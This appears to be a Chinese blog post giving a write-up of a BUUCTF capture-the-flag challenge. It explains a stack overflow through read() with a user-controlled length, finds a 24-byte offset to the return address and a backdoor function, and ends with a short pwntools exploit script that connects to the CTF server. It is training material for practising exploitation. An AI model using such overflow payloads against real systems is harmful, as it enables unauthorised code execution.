Read 栈溢出

Read 栈溢出

话不多说,直接上题(BUUCTF)

Read 栈溢出-侠者安全社区

放入 64 位 IDA 中反编译

注意看 read 函数的第三个参数,它决定我们输入的长度,而这个地址是由 scan 决定的

也就是说长度是我们可控制的

Read 栈溢出-侠者安全社区

看内存可以看到离 ret 差 24 个字节

dq 占 8 个字节

Read 栈溢出-侠者安全社区

找到后门函数

Read 栈溢出-侠者安全社区

如果看不到地址往前拉一下,Star 就是起始地址

Read 栈溢出-侠者安全社区

构造 payload

from pwn import *

p = remote('node5.buuoj.cn',27664)

payload = b'a' * 24 + p64(0x04006E6)

p.recv()
p.sendline('100')
p.recv()
p.sendline(payload)
p.interactive()

成功拿到 flag

 

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情快捷回复

    暂无评论内容